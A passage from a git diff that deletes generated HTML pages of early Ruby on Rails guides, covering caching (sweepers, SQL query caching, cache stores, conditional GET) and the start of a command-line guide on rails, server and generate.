-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% cache(:key =&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">'all_available_products'</span><span style="color: #990000">,</span> <span style="color: #009900">@latest_product</span><span style="color: #990000">.</span>created_at<span style="color: #990000">].</span>join<span style="color: #990000">(</span><span style="color: #FF0000">':'</span><span style="color: #990000">))</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">%&gt;</span>
- All available products<span style="color: #990000">:</span></tt></pre></div></div>
-<div class="paragraph"><p>This fragment is then available to all actions in the ProductsController using
-the key and can be expired the same way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>expire_fragment<span style="color: #990000">(:</span>key <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">'all_available_products'</span><span style="color: #990000">,</span> <span style="color: #009900">@latest_product</span><span style="color: #990000">.</span>created_at<span style="color: #990000">].</span>join<span style="color: #990000">(</span><span style="color: #FF0000">':'</span><span style="color: #990000">))</span></tt></pre></div></div>
-<h3 id="_sweepers">1.4. Sweepers</h3>
-<div class="paragraph"><p>Cache sweeping is a mechanism which allows you to get around having a ton of
-expire_{page,action,fragment} calls in your code by moving all the work
-required to expire cached content into a <tt>ActionController::Caching::Sweeper</tt>
-class that is an Observer and looks for changes to an object via callbacks,
-and when a change occurs it expires the caches associated with that object n
-an around or after filter.</p></div>
-<div class="paragraph"><p>Continuing with our Product controller example, we could rewrite it with a
-sweeper such as the following:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> StoreSweeper <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Caching<span style="color: #990000">::</span>Sweeper
- observe Product <span style="font-style: italic"><span style="color: #9A1900"># This sweeper is going to keep an eye on the Product model</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Product was created call this</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
- expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Product was updated call this</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_update<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
- expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Product was deleted call this</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_destroy<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
- expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> expire_cache_for<span style="color: #990000">(</span>record<span style="color: #990000">)</span>
- <span style="font-style: italic"><span style="color: #9A1900"># Expire the list page now that we added a new product</span></span>
- expire_page<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'list'</span><span style="color: #990000">)</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Expire a fragment</span></span>
- expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Then we add it to our controller to tell it to call the sweeper when certain
-actions are called. So, if we wanted to expire the cached content for the
-list and edit actions when the create action was called, we could do the
-following:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
- before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
- caches_page <span style="color: #990000">:</span>list
- caches_action <span style="color: #990000">:</span>edit
- cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
- expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_sql_caching">1.5. SQL Caching</h3>
-<div class="paragraph"><p>Query caching is a Rails feature that caches the result set returned by each
-query so that if Rails encounters the same query again for that request, it
-will used the cached result set as opposed to running the query against the
-database again.</p></div>
-<div class="paragraph"><p>For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
- before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
- caches_page <span style="color: #990000">:</span>list
- caches_action <span style="color: #990000">:</span>edit
- cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list
- <span style="font-style: italic"><span style="color: #9A1900"># Run a find query</span></span>
- Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-
- <span style="color: #990000">...</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Run the same query again</span></span>
- Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
- expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In the <em>list</em> action above, the result set returned by the first
-Product.find(:all) will be cached and will be used to avoid querying the
-database again the second time that finder is called.</p></div>
-<div class="paragraph"><p>Query caches are created at the start of an action and destroyed at the end of
-that action and thus persist only for the duration of the action.</p></div>
-<h3 id="_cache_stores">1.6. Cache stores</h3>
-<div class="paragraph"><p>Rails provides different stores for the cached data for action and fragment
-caches. Page caches are always stored on disk.</p></div>
-<div class="paragraph"><p>The cache stores provided include:</p></div>
-<div class="paragraph"><p>1) Memory store: Cached data is stored in the memory allocated to the Rails
- process, which is fine for WEBrick and for FCGI (if you
- don&#8217;t care that each FCGI process holds its own fragment
- store). It&#8217;s not suitable for CGI as the process is thrown
- away at the end of each request. It can potentially also
- take up a lot of memory since each process keeps all the
- caches in memory.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>memory_store</tt></pre></div></div>
-<div class="paragraph"><p>2) File store: Cached data is stored on the disk, this is the default store
- and the default path for this store is: /tmp/cache. Works
- well for all types of environments and allows all processes
- running from the same application directory to access the
- cached content.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>file_store<span style="color: #990000">,</span> <span style="color: #FF0000">"/path/to/cache/directory"</span></tt></pre></div></div>
-<div class="paragraph"><p>3) DRb store: Cached data is stored in a separate shared DRb process that all
- servers communicate with. This works for all environments and
- only keeps one cache around for all processes, but requires
- that you run and manage a separate DRb process.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>drb_store<span style="color: #990000">,</span> <span style="color: #FF0000">"druby://localhost:9192"</span></tt></pre></div></div>
-<div class="paragraph"><p>4) MemCached store: Works like DRbStore, but uses Danga&#8217;s MemCache instead.
- Rails uses the bundled memcached-client gem by default.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>mem_cache_store<span style="color: #990000">,</span> <span style="color: #FF0000">"localhost"</span></tt></pre></div></div>
-<div class="paragraph"><p>5) Custom store: You can define your own cache store (new in Rails 2.1)</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> MyOwnStore<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"parameter"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p><tt>Note: config.cache_store can be used in place of
-ActionController::Base.cache_store in your Rails::Initializer.run block in
-environment.rb</tt></p></div>
-</div>
-<h2 id="_conditional_get_support">2. Conditional GET support</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Conditional GETs are a facility of the HTTP spec that provide a way for web
-servers to tell browsers that the response to a GET request hasn’t changed
-since the last request and can be safely pulled from the browser cache.</p></div>
-<div class="paragraph"><p>They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to
-pass back and forth both a unique content identifier and the timestamp of when
-the content was last changed. If the browser makes a request where the content
-identifier (etag) or last modified since timestamp matches the server’s version
-then the server only needs to send back an empty response with a not modified
-status.</p></div>
-<div class="paragraph"><p>It is the server’s (i.e. our) responsibility to look for a last modified
-timestamp and the if-none-match header and determine whether or not to send
-back the full response. With conditional-get support in rails this is a pretty
-easy task:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@product</span> <span style="color: #990000">=</span> Product<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># If the request is stale according to the given timestamp and etag value</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># (i.e. it needs to be processed again) then execute this block</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> stale?<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span><span style="color: #990000">.</span>updated_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span><span style="color: #990000">)</span>
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>wants<span style="color: #990000">|</span>
- <span style="font-style: italic"><span style="color: #9A1900"># ... normal response processing</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># If the request is fresh (i.e. it's not modified) then you don't need to do</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># anything. The default render checks for this using the parameters</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># used in the previous call to stale? and will automatically send a</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># :not_modified. So that's it, you're done.</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you don’t have any special response processing and are using the default
-rendering mechanism (i.e. you’re not using respond_to or calling render
-yourself) then you’ve got an easy helper in fresh_when:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># This will automatically send back a :not_modified if the request is fresh,</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># and will render the default template (product.*) if it's stale.</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@product</span> <span style="color: #990000">=</span> Product<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- fresh_when <span style="color: #990000">:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_advanced_caching">3. Advanced Caching</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Along with the built-in mechanisms outlined above, a number of excellent
-plugins exist to help with finer grained control over caching. These include
-Chris Wanstrath&#8217;s excellent cache_fu plugin (more info here:
-<a href="http://errtheblog.com/posts/57-kickin-ass-w-cachefu">http://errtheblog.com/posts/57-kickin-ass-w-cachefu</a>) and Evan Weaver&#8217;s
-interlock plugin (more info here:
-<a href="http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/">http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/</a>). Both
-of these plugins play nice with memcached and are a must-see for anyone
-seriously considering optimizing their caching needs.</p></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/command_line.html b/railties/doc/guides/html/command_line.html
deleted file mode 100644
index 226a68e105..0000000000
--- a/railties/doc/guides/html/command_line.html
+++ /dev/null
@@ -1,476 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>A Guide to The Rails Command Line</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_command_line_basics">Command Line Basics</a>
- <ul>
-
- <li><a href="#_rails">rails</a></li>
-
- <li><a href="#_server">server</a></li>
-
- <li><a href="#_generate">generate</a></li>
-
- <li><a href="#_console">console</a></li>
-
- <li><a href="#_dbconsole">dbconsole</a></li>
-
- <li><a href="#_plugin">plugin</a></li>
-
- <li><a href="#_runner">runner</a></li>
-
- <li><a href="#_destroy">destroy</a></li>
-
- <li><a href="#_about">about</a></li>
-
- </ul>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>A Guide to The Rails Command Line</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>Rails comes with every command line tool you&#8217;ll need to</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Create a Rails application
-</p>
-</li>
-<li>
-<p>
-Generate models, controllers, database migrations, and unit tests
-</p>
-</li>
-<li>
-<p>
-Start a development server
-</p>
-</li>
-<li>
-<p>
-Mess with objects through an interactive shell
-</p>
-</li>
-<li>
-<p>
-Profile and benchmark your new creation
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>... and much, much more! (Buy now!)</p></div>
-<div class="paragraph"><p>This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.</p></div>
-</div>
-</div>
-<h2 id="_command_line_basics">1. Command Line Basics</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you&#8217;ll probably use them are:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-console
-</p>
-</li>
-<li>
-<p>
-server
-</p>
-</li>
-<li>
-<p>
-rake
-</p>
-</li>
-<li>
-<p>
-generate
-</p>
-</li>
-<li>
-<p>
-rails
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Let&#8217;s create a simple Rails application to step through each of these commands in context.</p></div>
-<h3 id="_rails">1.1. rails</h3>
-<div class="paragraph"><p>The first thing we&#8217;ll want to do is create a new Rails application by running the <tt>rails</tt> command after installing Rails.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You know you need the rails gem installed by typing <tt>gem install rails</tt> first, right? Okay, okay, just making sure.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails commandsapp
-
- create
- create app/controllers
- create app/helpers
- create app/models
- <span style="color: #990000">...</span>
- <span style="color: #990000">...</span>
- create log/production<span style="color: #990000">.</span>log
- create log/development<span style="color: #990000">.</span>log
- create log/test<span style="color: #990000">.</span>log</tt></pre></div></div>
-<div class="paragraph"><p>Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You&#8217;ve got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This output will seem very familiar when we get to the <tt>generate</tt> command. Creepy foreshadowing!</td>
-</tr></table>
-</div>
-<h3 id="_server">1.2. server</h3>
-<div class="paragraph"><p>Let&#8217;s try it! The <tt>server</tt> command launches a small web server named WEBrick which comes bundled with Ruby. You&#8217;ll use this any time you want to view your work through a web browser.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">WEBrick isn&#8217;t your only option for serving Rails. We&#8217;ll get to that in a later section. [XXX: which section]</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Here we&#8217;ll flex our <tt>server</tt> command, which without any prodding of any kind will run our new shiny Rails app:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ cd commandsapp
-$ <span style="color: #990000">.</span>/script/server
-<span style="color: #990000">=&gt;</span> Booting WEBrick<span style="color: #990000">...</span>
-<span style="color: #990000">=&gt;</span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application started on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
-<span style="color: #990000">=&gt;</span> Ctrl-C to shutdown server<span style="color: #990000">;</span> call with --help <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> options
-<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO WEBrick <span style="color: #993399">1.3</span><span style="color: #990000">.</span><span style="color: #993399">1</span>
-<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO ruby <span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">5</span> <span style="color: #990000">(</span><span style="color: #993399">2006</span>-<span style="color: #993399">12</span>-<span style="color: #993399">04</span><span style="color: #990000">)</span> <span style="color: #990000">[</span>i486-linux<span style="color: #990000">]</span>
-<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO WEBrick<span style="color: #990000">::</span>HTTPServer<span style="font-style: italic"><span style="color: #9A1900">#start: pid=18994 port=3000</span></span></tt></pre></div></div>
-<div class="paragraph"><p>WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to <a href="http://localhost:3000">http://localhost:3000</a>. I&#8217;ll wait.</p></div>
-<div class="paragraph"><p>See? Cool! It doesn&#8217;t do much yet, but we&#8217;ll change that.</p></div>
-<h3 id="_generate">1.3. generate</h3>
-<div class="paragraph"><p>The <tt>generate</tt> command uses templates to create a whole lot of things. You can always find out what&#8217;s available by running <tt>generate</tt> by itself. Let&#8217;s do that:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate
-Usage<span style="color: #990000">:</span> <span style="color: #990000">.</span>/script/generate generator <span style="color: #990000">[</span>options<span style="color: #990000">]</span> <span style="color: #990000">[</span>args<span style="color: #990000">]</span>
-
-<span style="color: #990000">...</span>
-<span style="color: #990000">...</span>
-
-Installed Generators
- Builtin<span style="color: #990000">:</span> controller<span style="color: #990000">,</span> integration_test<span style="color: #990000">,</span> mailer<span style="color: #990000">,</span> migration<span style="color: #990000">,</span> model<span style="color: #990000">,</span> observer<span style="color: #990000">,</span> performance_test<span style="color: #990000">,</span> plugin<span style="color: #990000">,</span> resource<span style="color: #990000">,</span> scaffold<span style="color: #990000">,</span> session_migration
-
-<span style="color: #990000">...</span>
-<span style="color: #990000">...</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You can install more generators through generator gems, portions of plugins you&#8217;ll undoubtedly install, and you can even create your own!</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Using generators will save you a large amount of time by writing <strong>boilerplate code</strong> for you&#8201;&#8212;&#8201;necessary for the darn thing to work, but not necessary for you to spend time writing. That&#8217;s what we have computers for, right?</p></div>
-<div class="paragraph"><p>Let&#8217;s make our own controller with the controller generator. But what command should we use? Let&#8217;s ask the generator:</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">All Rails console utilities have help text. As with most *NIX utilities, you can try adding <tt>--help</tt> or <tt>-h</tt> to the end, for example <tt>./script/server --help</tt>.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate controller
-Usage<span style="color: #990000">:</span> <span style="color: #990000">.</span>/script/generate controller ControllerName <span style="color: #990000">[</span>options<span style="color: #990000">]</span>
-
-<span style="color: #990000">...</span>
-<span style="color: #990000">...</span>
-
-Example<span style="color: #990000">:</span>
- `<span style="color: #990000">.</span>/script/generate controller CreditCard open debit credit close`
-
- Credit card controller with URLs like /credit_card/debit<span style="color: #990000">.</span>
- Controller<span style="color: #990000">:</span> app/controllers/credit_card_controller<span style="color: #990000">.</span>rb
- Views<span style="color: #990000">:</span> app/views/credit_card/debit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb <span style="color: #990000">[...]</span>
- Helper<span style="color: #990000">:</span> app/helpers/credit_card_helper<span style="color: #990000">.</span>rb
- Test<span style="color: #990000">:</span> test/functional/credit_card_controller_test<span style="color: #990000">.</span>rb
-
-Modules Example<span style="color: #990000">:</span>
- `<span style="color: #990000">.</span>/script/generate controller <span style="color: #FF0000">'admin/credit_card'</span> <span style="font-weight: bold"><span style="color: #0000FF">suspend</span></span> late_fee`
-
- Credit card admin controller with URLs /admin/credit_card/suspend<span style="color: #990000">.</span>
- Controller<span style="color: #990000">:</span> app/controllers/admin/credit_card_controller<span style="color: #990000">.</span>rb
- Views<span style="color: #990000">:</span> app/views/admin/credit_card/debit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb <span style="color: #990000">[...]</span>
- Helper<span style="color: #990000">:</span> app/helpers/admin/credit_card_helper<span style="color: #990000">.</span>rb
- Test<span style="color: #990000">:</span> test/functional/admin/credit_card_controller_test<span style="color: #990000">.</span>rb</tt></pre></div></div>
-<div class="paragraph"><p>Ah, the controller generator is expecting parameters in the form of <tt>generate controller ControllerName action1 action2</tt>. Let&#8217;s make a <tt>Greetings</tt> controller with an action of <strong>hello</strong>, which will say something nice to us.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate controller Greeting hello
- exists app/controllers<span style="color: #990000">/</span>
- exists app/helpers<span style="color: #990000">/</span>
- create app/views/greeting
- exists test/functional<span style="color: #990000">/</span>
- create app/controllers/greetings_controller<span style="color: #990000">.</span>rb
- create test/functional/greetings_controller_test<span style="color: #990000">.</span>rb
- create app/helpers/greetings_helper<span style="color: #990000">.</span>rb
